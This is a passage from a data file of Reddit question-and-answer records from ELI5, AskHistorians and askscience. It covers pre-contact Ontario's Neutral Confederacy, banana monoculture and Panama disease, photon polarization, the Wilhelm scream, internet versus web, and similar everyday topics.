different - B would make it's own challenge and A would either flee for good or come back latter.\n\nIf nesting locations or food are in short supply - that could make them throw down - but most of the time, animals want to conserve their energy.  Hence they start making threats.\n\nSome species are just that aggressive and WILL attack no matter what.  It depends on the environment and the species. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "413p5a", "title": "What was everyday life like for an aboriginal in Ontario pre contact?", "selftext": "More specifically I have always been interested in the pre contact history in southwestern ontario but I have never been able to find out what tribes lived in the area and what kind of lifestyle they lived. If anyone could help me I would be very grateful.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/413p5a/what_was_everyday_life_like_for_an_aboriginal_in/", "answers": {"a_id": ["cyzmenw", "cz08tw9"], "score": [4, 3], "text": ["I wrote [this](_URL_1_) as a hypothetical \"day in the life of...\" kind of thing last year for the Museum of Ontario Archaeology. I wrote a whole series of them for each time period, but the 11,000 years ago one (Paleoindian Period) is the only one that's up so far. I don't want to send you the others since I wrote them when I was an employee of the museum, and I don't know how that works copyright wise and all that. I would like to volunteer some time for them to get the others in the series ready to post, but I have other things I need to do more urgently (and procrastinate like mad). We'll see though, maybe I can do something in the next couple months. \n\nExplore the museum's website a bit too, especially under the \"discover\" tab. There are a few short videos by Chris Ellis, one of the foremost Ontario archaeologists, describing each of the three broad periods in precontact Ontario history. There are also some other links there that have an overwhelming amount of info, especially [this site](_URL_0_). It's poorly organized and outdated, but there's a lot there. And since you are asking specifically for southwestern Ontario I presume that you are in or near London. If you can, go to the museum. It is inexpensive to get in. To be honest, it's not a great museum and it has a lot of problems, but there are some good people there who are working on it, and they have some great artifacts. They also have a partially reconstructed village at the museum, which is the location of an actual 15th century Iroquoian village.\n\nTo answer your question a bit more specifically, the people who lived in this region shortly before direct European contact were an Iroquoian group we call the Neutral or Attawandaron. The French gave them that name since they were neutral in the wars between the five nations of the Iroquois (a confederacy of nations who lived mostly in upstate New York) and the Huron-Petun or Wendat, another Iroquoian group that lived in the Toronto and Lake Simcoe area. But not much is known about the Neutral. The French had first encountered them in the Niagara region, but the neutral had already abandoned southwestern Ontario at that time so this area appeared to be empty and \"pristine\" when the French first saw it for themselves (had the French come 100 years before they would have found a bustling and populous area with many villages around the Thames and its tributaries, and with fields as far as the eye could see). \n\nSo we don't know much about the Neutral, but we do know that they were Iroquoian and spoke an Iroquoian language, so we make assumptions that they lived in a similar way to the Huron, who we do know more about. What about before the Neutral? That is hard to say, and I'll admit here that Ontario is not my main focus and I'm not entirely up to speed on current ideas about populations movements. It is really hard to push ethnicity or group affiliation back very far, at least using archaeological data (oral histories are different and can help do that, but since the Neutral left this area it is hard to trace those stories). And although people in Ontario and neighbouring regions were largely sedentary after about A.D. 1000, there were still large migrations and movements and it is hard to know whether that happened in this region too, and there is some debate about that. We know that the Neutral were here after about A.D. 1400, but it's hard to know who was here before, and impossible to know how people saw *their own* ethnic identities.\n\nMy main source for all this is [Before Ontario: The Archaeology of a Province](_URL_2_), edited by Marit Munson and Susan Jamieson. It is a great source with chapters written by many of the biggest names in Ontario archaeology, and they are all very readable and informative for non-specialists. Neal Ferris and Gary Warrick have chapters dealing with southwestern Ontario in the more recent precontact period, and Chris Ellis has one dealing with the more ancient stuff (11,000 - 3000 years ago). The museum has a small bookstore and they stock this title as well as others that you may find interesting, if you make it there.\n\nEdit: oh yeah, and you can ask this as well in /r/askanthropology. This question really falls as archaeology rather than history, and there is a greater concentration of archaeologists there. I'm not sure if anyone there is specifically an Ontario archaeologist, but there are some people who are familiar with the archaeology of eastern North America in general.", "As /u/Pachacamac said, southwestern Ontario was home to the Neutral Confederacy at the time of initial European contact. \u201cAttawandaron\u201d is their Wendat (Huron) name and is a reference to the fact that speak a language similar to that of the Wendat themselves. \u201cChonnonton\u201d may have been the name they had for themselves, or the Wendat name for one of the larger nations that made up the confederacy. This name means either \u201cPeople of the Deer\u201d or \u201cKeepers of Deer.\u201d I\u2019ll be using this name throughout the post for the confederacy as a whole though.\n\nThere were between 5-10 nations that made up the confederacy, but sorting out which names mentioned in the historical record are nations, which are clans, which are villages, and which are synonyms is next to impossible. It\u2019s been argued that the Chonnonton were really more of a \u201cchiefdom\u201d than a confederacy (with a singular leader at the top of the political pyramid) based on the description of Tsouharissen as the supreme leader of the nation during a visit by a French missionary in 1526. There was also the \u201cMother of the Nation\u201d / \u201cFire Woman\u201d who\u2019s described as the female ruler of the confederacy. The modern Seneca historian Barbara Alice Mann gives her name as Kieuneka, but this might be the name of the town she lived in instead located on the Niagara River. I think it\u2019s more likely that Tsouharissen and \u201cKieuneka\u201d were the heads of the men\u2019s and women\u2019s councils for the confederacy, paralleling the roles of the Tadodaho / Adodarhoh and the Jigonsaseh of the Haudenosaunee (Iroquois), the more authoritarian roles that Europeans tended to ascribe to Native leaders.\n\nCulturally, the Chonnonton described by the Wendat and the French who had limited direct contact with them as being similar to that of the Wendat themselves, with a few notable differences. \n\nThe Chonnonton were sedentary agriculturalists. They lived in 40 or so villages and towns consisting of longhouses surrounded by palisades. The Lawson Site in London, Ontario, is a famous example of a large pre-colonial Chonnonton town, with an estimated population of around 2,000 at its peak in the 16th Century (this is the one Pachacamac mentioned being partially reconstructed by the Museum of Ontario Archaeology). It would a bit [like this](_URL_1_), though here is the specific layout of [the Lawson Site](_URL_2_). An extended matrilineal family lives within each longhouse. The longhouse consists of a central corridor running its entire length. Every ten feet or so is a partition that separates the longhouse into compartments, each one housing two families.The ends of the longhouse were a bit flimsy than the rest of the structure because they\u2019d be disassembled regularly in order to extend the longhouse further as the family grew and were used for storage in the meantime. [This cutaway](_URL_0_) shows you the entrance, the storage room, and the first comparment of a longhouse. Also, in a Chonnonton longhouse, unlike a Wendat one, you might find the bones of the recently deceased being stored inside awaiting their final burial. Iroquoian towns moved periodically and as part of the ceremonies accompanying the move, the town\u2019s dead are all placed in a single large ossuary.\n\nOutside the village, there would be many acres of farmland. The Chonnonton grew the Three Sisters - maize, beans, and squash - like almost everyone else in the Eastern Woodlands at the time. There would be several varieties of each, for example, corn used to make flour was a different variety than that used for other purposes. They also grew sunflowers and tobacco. Women did the bulk of the farming, though men would help with clearing the fields initially and with the harvest. The fields would be farmed for 4-8 years, then allowed to fallow. During the fallow period, they still remained productive however, as they became home to various berry-producing undergrowth (strawberries, blackberries, etc.) and later by fruit and nut-bearing trees (plums, mulberries, cherries, walnuts, etc). While Native American farmers generally didn\u2019t practice crop rotations, this manipulation and utilization of forest succession filled the same niche. \n\nWhile the women tended the fields and gathered wild plants, the men focused on hunting. Deer would be the main source of animal protein, and were abundant in the area. One of the noted differences between the Wendat and the Chonnonton was that the Chonnonton kept deer in pens (hence the name \u201cKeepers of Deer\u201d). When Daillon visited Ounontisaston (Tsouharissen\u2019s town) in 1626, he observed three large deer pens outside the town. There\u2019s some debate over whether these deer were penned from a recent game drive or whether the Chonnonton were actually engaged in some nascent domestication of deer. Black bears were also an important food source; most of the other animals hunted are very lean, so black bears provided much needed fat in the diet. Hunting was seasonal, however, with most of it being done in autumn and early winter. Of course, if the Chonnonton were keeping deers penned year-round, they might have relied on them more regularly. Ultimately though, farming provided most of a person\u2019s calories over the year, and deerskin for making clothing was perhaps just as - if not more - important than hunting them for meat.\n\nSummer is the season for travel. Assuming there is a council and Tsouharissen isn\u2019t some sort of despot, this is when it would take place. This will be a large public event. Even people who aren\u2019t members of the council will attend to observe the proceedings. This will include women, who will be observing to see if the representative for her matrilineal clan is living up to his expectations. If \u201cKieuneka\u201d is the head of a women\u2019s council, at least some of the women council members will be in attendance to keep well informed about what the men\u2019s council is up to and what it\u2019s opinions on various topics are. If the Chonnonton are like the Haudenosaunee in this regard, they will also have specific delegates whose job it is the liaison between the two councils (a man chosen by the women\u2019s council to speak for them at the men\u2019s council and a women chosen by the men\u2019s council to speak for them at the women\u2019s council). \n\nDuring the summer traders would also be out and about. The Wenro, one of the few nations of the confederacy that we know with certainty, were particularly famous traders and actively pursued trade relations with the French. They seem to have been relatively successful at this, especially considering how little historical interaction there was between the Chonnonton and Europeans, since there\u2019s quite a lot of European trade items (metal pots being a particular favorite) in late Chonnonton grave goods. The Chonnonton also had rather strong trade relations with the people of Chesapeake Bay, either directly or through an intermediary like the Massawomeck, another large Iroquoian confederacy (who are probably the people known archaeologically as the Monongahela, located roughly between what\u2019s now Pittsburgh, Pennsylvania, and Charleston, West Virginia).\n\nFinally, summer was the typical time for war. While the Chonnonton stayed out of the Wendat-Haudenosaunee conflict as long as possible (to the point of throwing the Wenro under the bus to avoid pissing off the Haudenosaunee), they weren\u2019t averse to warfare. They formed an alliance with the Odawa (located along the northeast coast of Lake Huron) to fight the \u201cFire Nation\u201d (located in the vicinity of Toledo, Ohio / Detroit, Michigan), which is either synonymous with the Mascouten or a confederacy which included the Mascouten. That war ended in 1646, when the Chonnonton brought home some 800 captives.\n\nIn 1650-1, after the Haudenosaunee defeated the Wendat, they turned their attention to the Chonnonton. The Chonnonton allied with the Susquehannock Confederacy in central Pennsylvania. While they had some success repelling Haudenosaunee attacks thanks to the alliance, by 1653, the Chonnonton had been defeated.  The larger towns were dispersed and their people assimilated into Haudenosaunee towns. Smaller towns and villages were overseen by a Haudenosaunee official (probably the same position held by the \u201chalf-kings\u201d that oversaw Shawnee and Lenape communities in the Ohio Valley leading up the French-and-Indian War). French records stop mentioning the Chonnonton by 1671, though the biography of Ely Parker (a Seneca brigadier general for the Union during the American Civil War) briefly talks about John Kenjockety (aka Skendyuhgwadih, Beyond-the-Multitude) a prominent Seneca man who died in 1808 and still identified with his Chonnonton ancestors.\n\nThe Haudenosaunee held the region for about 50 years, before they were defeated in their war against the French-allied Anishinaabe and forced to accept the Great Peace of 1701, in which the Haudenosaunee gave up their lands north of the Great Lakes and west of the Scioto River. After this southwestern Ontario was settled by the Odawa, Potawatomi, Ojibwe, and Missisauga. The Haudenosaunee would return to the area after the American Revolution. The war had broken their confederacy and there were two attempts to reform it - one of which became the Six Nations of Grand River near Brantford. The other remained in New York, but moved the grand council from Onondaga to Buffalo."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://diggingontario.uwo.ca/", "http://archaeologymuseum.ca/11-000-years-ago/", "http://www.amazon.ca/Before-Ontario-The-Archaeology-Province/dp/0773542086"], ["http://www.sanders-studios.com/illustration/artpics/historical/18c/iroquioslonghouse.JPG", "http://torontoist.com/attachments/toronto_kevinp/2008_11_20Village1.jpg", "https://hf-mirror.net/_cdn/tce-live2.s3.amazonaws.com/media/media/7bb513b8-0853-4f6e-94b4-3b07c5a48729.jpg"]]}
{"q_id": "2a7puq", "title": "what are the different applications for different statistical distributions?", "selftext": "On _URL_0_, there are a lot of statistical distributions. But the symbols to me are too abstract. Would any tell the difference between different statistical distributions and their applications.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2a7puq/eli5_what_are_the_different_applications_for/", "answers": {"a_id": ["cisf4ae"], "score": [3], "text": ["For example\n\n* Bernoulli distribution expresses the probability of a given even to success/fail (ex: what are the odds to draw the number 1 with a dice ?)\n* Poisson distribution expresses the probability of a given number of events occurring in a fixed interval of time (ex: what are the odds to having 3 customers arriving within 5 minutes in my shop ?)\n* Normal distribution expresses the probability of a \"random sample\" landing between 2 limits. You could use it to represent the precision of an archer for example (axis would be the distance in inch from center). Really likely to do bullseye, almost no chance to miss the target.\n* etc.\n\nEach distribution is used for different kind of problems, also lot of those are only used in really specific scientific domain (e.g. signal processing)"]}, "title_urls": [], "selftext_urls": ["http://www.math.wm.edu/~leemis/chart/UDR/UDR.html"], "answers_urls": [[]]}
{"q_id": "b17vg0", "title": "why didn\u2019t anyone bother to object hitler breaking the enabling act?", "selftext": "When Hitler  took over the presidents power for himself, he technically violated the Enabling Act. Why did no one object or see this violation?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b17vg0/eli5_why_didnt_anyone_bother_to_object_hitler/", "answers": {"a_id": ["eijw6r9", "eijwp06", "eijz2db"], "score": [3, 4, 3], "text": ["His party and the SS essentially intimidated non Nazi members in the Reichstag to vote in favour of it. The communists had already been stripped of their rights to vote", "The opposition parties (communists and socialists) had already been stripped of their right to vote or purged. All that was left was the moderates who didn't oppose the nazis due to fear of being purged. ", "How did it violate the Enabling Act? The Enabling Act gave Hitler the power to enact any laws he wanted that did not affect parliament or the power of the president and this did not so, technically it just declared that both the office of chancellor and president be held by Hitler.\n\nBesides, by mid-1934 any parties other than the NSDAP were already abolished and forbidden from recreation. Political enemies had already started to disappear in camps and Hitler even had his enemies in his own party killed a month earlier. He actually had a public referendum two weeks later to affirm his position which he won by only 90% - quite disappointing given all the intimidation going on and the fact that most civil liberties had been stripped and they could reconstruct who voted against... This actually caused him to not hold any more referendums and instead have the one party parliament decide on the laws he wanted."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4ad9yc", "title": "why is that same scream in every action movie", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ad9yc/eli5why_is_that_same_scream_in_every_action_movie/", "answers": {"a_id": ["d0zceqi", "d0zcfed", "d0zdldh", "d0zdvpd", "d0zeee9"], "score": [20, 6, 4, 3, 3], "text": ["There isn't the same scream everytime.. however there is a specific scream in tons of movies called [The Wilhem Scream](_URL_0_), yes its an inside joke. People scour through movies trying to find it, even though its usually not hidden, its just a fun joke to put into a movie, even serious movies do it.", "The Wilhelm scream? Yeah it's like a running joke in the industry, it's a stock scream. You can Google it, it basically became a joke after a couple big movies used it (star wars for example)", "Lots of sounds are re-used in multiple movies - these are called Stock. These sound effects are much cheaper for directors to have their editing team add in, rather than shooting a scene to have an exact sound play - Imagine how many times you'd have to shoot a scene if the actor didn't get the sound just right!\n\nWhat you're referring to is likely the Wilhelm Scream - the slightly comedic, higher-pitch male scream. It originated back in the days of black and white movies, and is still used today for cost and as a way to please the fans - lots of people and critics specifically listen out for that scream.", "It's called the Wilhelm Scream. It was originally used in an older movie (can't remember the name, pretty sure it was a war movie). George Lucas and Steven Spielberg picked up on it and Lucas used it in Star Wars. Following the success of those movies, Spielberg started using it as a cliche scream and running joke. From there, the entire industry picked it up, which brings us to here.", "It's not a joke anymore. It ruins the movie if/when I hear it. Please, movie industry people, stop doing this. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Wilhelm_scream"], [], [], [], []]}
{"q_id": "29spi6", "title": "Is the optical polarization state of a single photon well-defined?", "selftext": "Does an individual photon exist in a particular optical polarization state: circular OR elliptical OR planar? Do the uncertainty and/or \"superposition of states\" principles apply (i.e., all polarization states existing simultaneously until the photon is physically measured and its state determined)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/29spi6/is_the_optical_polarization_state_of_a_single/", "answers": {"a_id": ["cio5493"], "score": [9], "text": ["Yes.  At the level of a photon, the polarization corresponds to its spin or, more properly, its helicity.\n\nPhotons have spin 1, which means the component spin along the direction of the photon's motion can be +1 or -1 (i.e., the spin is parallel or antiparallel to the photon's momentum).  These two helicity states correspond to clockwise and counterclockwise polarized light.\n\nOne can alternatively describe the photon's polarization in terms of linear polarization states.  If you have a standard linear polarizer and send a light beam through it, and the beam is low enough intensity so that generally only one photon at a time is goes through the polarizer, then the linear polarizer is measuring the polarization state of individual photons as they either pass through or are blocked by the polarizer.\n\nIncidentally, the fact that the photon is massless, in fact, is why electromagnetic waves are transverse.  A massive spin 1 particle has three polarization states, the third one corresponding to the spin along the direction of the particle's motion being 0 and giving rise to longitudinal waves.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4h0poe", "title": "Banana. We are regularly told that bananas are under threat. Are there other strains of Banana under development, if so how far away are they to commercial introduction and what other measures might be under way to protect this staple crop?", "selftext": "It is widely advertised that current banana production is a monoculture, dominated by the \u00ab Cavendish \u00bb strain, and seemingly threatened by Fusarium (aka Panama disease). Is this threat as serious as the Press makes it seem to be (I've seen mentions on \"Bananageddon\" ... seriously)?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4h0poe/banana_we_are_regularly_told_that_bananas_are/", "answers": {"a_id": ["d2me2gs", "d2mew47", "d2mf2zy", "d2momkq", "d2mqyl8", "d2msss9", "d2mtijj", "d2mv7mr", "d2mytxy", "d2mzbyg", "d2n0fe5", "d2n3m6v", "d2n3p1z", "d2n4cgr", "d2nclib", "d2nd1rt"], "score": [1240, 45, 554, 7, 100, 158, 62, 29, 6, 10, 2, 5, 2, 4, 2, 3], "text": ["There was an NPR story recently about this - basically getting a strain that tastes good, is a good size, looks good, isn't filled with seeds, AND is resistant to the fungus is a 1:1,000,000,000 type thing, and our current banana was one of those needles in a haystack which was needed after the last bananageddon. \n\nHere's the [full article](_URL_0_), sorry I don't know much else!", "Yes, it is a serious threat. \n\n_URL_0_\n\nIt's wiped out Gros Michel banana many years ago and the Cavendish is what replaced it because it was initially resistant. Now it too is falling to the disease. \n\nTLDR: it happened before and it's happening again", "The big issue with modern bananas is that they are triploid (have three copies of each chromosome) - this is how we get seedless bananas, as triploid organisms cannot undergo meiosis and produce viable gametes (sperm and egg)-thus they don't have viable seeds. While this is great for people eating bananas, it is very bad from a genetic standpoint. Since bananas can't produce living seeds, they don't recombine genetically (i.e. they don't cross with each other). This means that every banana in a variety is genetically identical, so once the pathogen overcomes resistance in one plant it overcomes the resistance of every banana plant of that variety. Thus it is true that as Panama disease spreads, it will slowly become not economically feasible to produce any of the current banana variety. Breeding new bananas, as mentioned in another comment, is very difficult, because the current varieties are all triploid, and hence can't be crossed. Our solutions are probably to either work really hard to conventionally breed a new triploid banana, genetically modify the current variety to increase its resistance, or simply switch to eating bananas that have seeds. ", "Can't say for sure what strain will emerge, but Cavendish is only our banana of choice now because big mike went extinct. So, in classic human form, instead of figuring out a way to breed genetically diverse bananas we just moved on to another cloned strain and awaited the next plague. We'll get through this one, too, I imagine\n\nDoes anyone know, genetically, what the deal is with plantains and other specialty 'nanners? Seeing as how they're already in commercial production, if I were the head Bananaman I'd look at them first for a replacement.", "Gros Michael, and Cavendish are cultivars of banana. Two of [numerous edible cultivars](_URL_0_). I've personally worked with 10 different varieties which are part of 20 others native to my country (Sri Lanka), when I was working as a food scientist. I know other countries have many more edible cultivars. Each cultivar is really distinct in taste and appearance, and they're all seedless. Wikipedia has an interesting comparison picture [here](_URL_2_). Incidentally, the big green one tastes a lot like watermelon.   \n\n\nI'm not sure if they're as vulnerable as Cavendish or Gros Michael are to Panama disease, I just hope this helps answer the first part of your question.\n\n**Edit** I realise the picture on wikipedia states the big green one is a plantain. It looks similar to this variety, which is not a plantain (also note the seeds) [here](_URL_1_)", "Ok, everybody else has good stuff. Many of the bananas grown are Cavendish (specifically Grand Nain), and yes, they can be killed by Race 4 of Panama Disease (however, they are resistant to the other races, which is why they replaced Gros Michael).\n\nOne thing I haven't seen mentioned is the FHIA program in Honduras which is actively breeding new varities of banana. They have several suitable for commercial use. One of the big issues they've got is taste. Most of what they've bred is less sweet and more acid tasting than current bananas. The ones that aren't are too tall. \n\nSome of their cooking varities have a lot of potential too.\n\nEffectively, they've got massive plantations of bananas from all over the world with many characteristics. When one varity flowers, they'll pollinate the female flowers from any one of the other flowering ones, and later, they'll pollinate another variety with the male flowers. \n\nIf they're lucky, they'll get 2 or 3 seeds in an entire bunch. They smash all the bananas into pulp and strain out the seeds. Unfortunately, banana seeds are next to impossible to germinate, so they dissect out the embryos and plant them in microculture. They'll grow them out and multiply them, and plant them out into test beds. They'll evaluate them based on taste, size of plant, resistance to diseases (Panama Disease, black sigatoka, banana bunchy top virus, etc...), and a variety of other factors. They use most of theses as breeding stock, and they've named some as potential alternatives to Cavendish (or other bananas).\n\nFHIA-1, also known as Goldfinger, is among the most suitable ones they've produced. It is highly resistant to most banana diseases, it is tolerant of cooler temperatures, it has fruit that ship really well, and the plants are fairly sturdy in comparison to some varities. ", "The CAVENDISH banana, not the banana. \n\nThe Gros Micheal was decimated by panama disease it isn't extinct it's still around I am actually eating one right now. The Cavendish is in the process of being decimated it won't be extinct it will still be around.\n\nWill bananas be extinct? since the wild ancestor is still healthy and all the different cultivars out there? not a chance.\n\nWe're loosing one cultivar to be frank.\n\nDoes this mean there aren't other cultivars out there? no. In fact there are much better tasting ones out there the cavendish is actually really bland. The cavendish became dominant because it grows faster that other period cultivars and would grow in the infected plantations formally held by the Gros Micheal. There are breeding programs to make new banana cultivars and so forth.\n\nWill there be short term effects? yes as plants take time to grow. How much time? depends on the strain.\n\nIs the media exaggerating? of course.\n\nWhy? they need to fill timeslots\n\nThe only long term effect may be that banana flavored foodstuffs will possibly be red instead of white/ yellow as \"strains\" of the scarlet banana may be the next big cultivar.\n\nSide note: I did a quick edit and decided to put stains in quotation marks because its not apt but unfortunately I am completely spacing on the correct word.", "Plant Breeder here so I'll attempt to give insight. Thing is, in the US we import and eat mainly one cultivar of banana, the Cavendish, while in the parts of the world where they are grown there are around 5,000 edible cultivars of various species but the trick is to find one that can replace the American dessert banana (most banana are actually quite starchy, not sweet). Bananas were bred to not have viable seed so they are vegetatively propagated thus they are very vulnerable to new diseases as you can't actually breed them (potatoes also are clonally propagated but still can produce viable seed). So the current options are to A) Genetically modify them with a virus resistance gene B) find a new cultivar of banana that is resistant but also will be sweet enough to replace Cavendish and have no seeds or C) We suck it up and eat starchy bananas or ones with seeds in them. I think A would probably be the most cost effective option but with all the fuss of GMO companies and growers are probably not going to go for it. So that leaves us with B and C, the Panama disease issue has been known for years and breeders have been screening not only current cultivars but lines that are in seed banks to see if they resistant to the disease, are sweet and have other important agronomic traits. If the fruit has a lot of seeds then there could be work to breed a less seedy variety or induce triploidy which can be done artificially but is risky as a lot of genes can be silenced due to methylation after genome or chromosome duplication. The Cavendish won't go \"extinct\" it just won't be able to grow on the large industrial scale that it is now. Fusarium in general is a problem for most crops grown around the world and resistance has a tendency to break down or the strain becomes resistant to fungicides which is used to manage it which it can do in 3 ways: Produce more of the virulent toxin/spore, change receptors so the chemical can't affect it as well or export the chemical out of the cell (this one is the most concerning). So then we have to rely on resistance breeding which can last for quite some time until the disease gets a new virulence gene to overcome the resistance. ", "I am old enough to remember the Gross Michel banana, which was far superior in flavor to the Cavendish of today.  there are about 1500 varieties of banana, not all are edible, and some are only suitable for cooking.  many are far superior to both the Cavendish and the Gross Michael. but are wild or minimally cultivated.  if we lose the Cavendish, another will replace it, but expect a delay in availability (possibly years) and an increase in price.  \n", "I live in Bermuda and dwarf cavendish bananas are very common.  We do not have Fusarium here.  I find them to have much more flavour than store-bought bananas, but this is probably because I let mine ripen on the tree.  Store-bought bananas are picked very green.\n\nWe also grow a cultivar colloquially called \"strawberry banana\".  It tastes nothing like a banana and everything like a strawberry.", "I think this video says much of want you want to know:\n\n_URL_0_", "Interesting to note bananas have been wiped out before by disease.  The Cavendish Banana, which we have today, wasn't always the most popular.  Up until the 1950's, Gros Michel, or Big Mike, variety was the most widely available, before Panama disease killed it off.  I think the biggest problem is that nearly all of the banana crops were/are all clones of the same plant.  If I recall correctly, they do maintain banana crops that are grown sexually to help prevent the same kind of disaster from happening and losing the entire world's banana crop again.\n\nWhen I was in Tanzania a couple years ago, I first tried red bananas.  More recently, I have seen red bananas show up at my local gocery store.", "The problem with the cavendish is that they are clones (genetically identical) and a monoculture on top to that.  There are other varieties available, but replacing the worlds entire crop would take years. The panama fungus is dangerous, and would be very costly to the industry, but with biotechnology and conventional breeding, resistant lines will always be available. Breeding bananas can take a very long time, as the clones are infertile.  Still I think you can get a seed from a cavendish in every billionth banana or something.", "In the 90's there was a time when bananas in pajamas were being pushed pretty hard, but eventually interests waned, development ceased, and the fad fizzled. Before that was Banana Man, but that's getting into ancient history...", "Oranges in the US are also at massive risk, as are all oranges in the world.  Pretty much without a GMO orange, we're not going to have any oranges for mass consumption anymore.  There's an experimental plot of GMO oranges to see if they are resistant to the disease that is killing off the other oranges.  They are resistant in the lab but that doesn't necessarily translate to resistance in the field.  Those trees should be big enough to be harvested now, I would think.  \n \nAnd yep, here's an article that has a link to the NYT article which was fantastic\n  \n_URL_0_", "Here is a relevant, well-presented, truly interesting 2-part documentary you may enjoy: [Fruit Hunters, 2012](_URL_0_)\n\nIn it they not only explore a bit of the world of rare fruit, but also have some conversation about bananas and look at a farm where one banana scientist (yep) is dedicating himself to developing a new strain for public consumption. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.npr.org/sections/thesalt/2016/01/11/462375558/our-favorite-banana-may-be-doomed-can-new-varieties-replace-it"], ["https://en.wikipedia.org/wiki/Panama_disease"], [], [], ["https://en.wikipedia.org/wiki/List_of_banana_cultivars", "https://drive.google.com/file/d/0BzDZLEGRHkD1REt2QjZscHY4bXM/view?usp=sharing", "https://upload.wikimedia.org/wikipedia/commons/d/de/Bananavarieties.jpg"], [], [], [], [], [], ["https://youtu.be/9H0dy8fv33M"], [], [], [], ["http://www.huffingtonpost.com/2015/05/14/gmo-oranges-citrus-greening-southern-gardens_n_7244858.html"], ["https://youtu.be/3Qnpjt5KzYQ"]]}
{"q_id": "rzc0v", "title": "the difference between the internet and the world wide web", "selftext": "I've seen explanations of each individually, but I'm still unsure of how they fit together exactly.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rzc0v/eli5_the_difference_between_the_internet_and_the/", "answers": {"a_id": ["c49uh8y", "c49uhr8", "c49uuz7", "c49y006"], "score": [6, 13, 8, 2], "text": ["The web consists of web*sites*, based in html. The internet is a larger entity that also includes things like file sharing services and streaming audio and video that don't rely on a site to work.", "World Wide Web= Content (billions of web pages and websites)\n\nInternet= Transportation to get to said content (huge network of computers connected to each other), as well as access other services, such as email and P2P.\n\nThink of the WWW to be the mall on the other side of town... it has lots of stores and shops (websites and pages). But you need something to get there and back quickly. The Internet is the network of roads (optical fiber/cable), stop/go lights (switches and routers), and signage (DNS) in order to do that. The vehicle is your web browser.\n\nTL;DR- The WWW exists on the Internet, but the Internet is not the WWW.", "Internet is a giant physical thing (including wifi).  A network of networks.  When you connect your computer to the Internet you are literally adding a piece of hardware to the Internet.  Just a whole bunch of servers connected together.\n\nThe world wide web is the \"software\" to the hardware.  It is a \"web\" of files that link to each other.  Typically .html and .php pages but also including video files, mp3 files, image files, etc.  It runs according to a protocol (kinda like a set of rules for a program) called HTTP.  People have created browsers that request data from servers, and are designed to show the content.  That's the web.\n\nHTTP is just one service on the Internet.  There's also email, instant messaging, IRC, Usenet, SSH....etc.  These don't require a browser to properly use and don't use the HTTP protocol, and thus aren't the web.  You can't hyperlink to other instant messages in IM...so it's not a web.  But they are still part of the Internet.  In fact, the Internet was being used well before the WWW was invented (in the early 90s).", "The internet is a network of computers.  It allows them to freely transimt data back and forth.  You can send lots of things on this network, the web is just one of them.  If you've ever played an online game (non-browser based), that's an example of something that's not \"the web\".  IM, VoIP, email, file sharing... these all run over the Internet without being the web."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2uxqgb", "title": "What is the average size?", "selftext": "I'm sorry I can't think of a way to phrase this better. It's actually a simple concept -- add the plank length with the length of the visible universe and divide by two. I just don't know how to tackle the math, and I wouldn't have a way of confirming my answer if I did. \n\nIn terms of length, what object would fall closest to the halfway mark between the smallest measurement that's relevant in physics, and the length of the largest thing we can begin to measure?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2uxqgb/what_is_the_average_size/", "answers": {"a_id": ["cocp11w", "cocpdir"], "score": [10, 5], "text": ["The problem with your idea is that:\n\n >  (x+Y)/2 where x is much smaller than Y ~= Y/2\n\nThe small number, just doesn't matter in this calculation.\n\nA better way to coin this is \"order of magnitude\" difference, like the order of magnitude different is how many multiples of 10 separate the two numbers, like 10^1 (aka 10) to 10^3 (aka 1,000) is separate by 2 orders of magnitude, or 10^2 (aka 100 times).\n\n >  Planck Length ~10^-35 meters.\n\n >  Diameter of observable universe ~10^27 meters.\n\n62 orders of magnitude separate these two numbers, or 10^62. The halfway magnitude is 31 orders of magnitude or about 10^-4 meters. This is 0.1 millimeters, the thickness of a handful of human hairs. This means that human beings are slightly bigger than the halfway point of the very big to the very small in our universe.", "/u/AsAChemicalEngineer's suggestion makes a *ton* of sense, but if you want to stick with the original idea... well a Planck length is so tiny that (Visible Universe + Planck Length)/2 is really just (Visible Universe)/2 if you overlook a tiny fraction of a metre out in the 36th decimal place.\n\nSo, the length of a line from the Earth to the edge of the visible universe (given that the visible region is a sphere centred on us - half the diameter is the radius)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cnl4hu", "title": "why the initiatives against straws but not the plastic cups and lids they come in? shouldn\u2019t they tackle the \u201cbigger\u201d problem?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cnl4hu/eli5_why_the_initiatives_against_straws_but_not/", "answers": {"a_id": ["ewbmp2e", "ewbnhjh", "ewbou8y", "ewbp7v1", "ewbqmy7", "ewbwdbs", "ewc3dep", "ewc4hlz"], "score": [11, 223, 17, 25, 3, 2, 3, 2], "text": ["I\u2019ve understood it as straws are such an easy thing to make the switch on. Once you\u2019ve made the decision to reduce your use of plastic straws it will carry over into other aspects of your life. For example, I now try to reuse plastic bags or take canvas bags to the grocery store because I\u2019m more conscious of the plastic problem.", "Because like most environmental causes almost nobody actually understands the problem being \"solved\" in the first place.\n\nStraws are being campaigned against because they are said to be this terrible pollution, they aren't able to be recycled, etc. But **why** can't they be recycled? They are made of the same sort of plastic as cups and lids yet those things can be recycled. What gives?\n\nThe issue is their shape. The sorting methods of recycling don't effectively catch straws meaning they can slip through and not be recycled while cups and 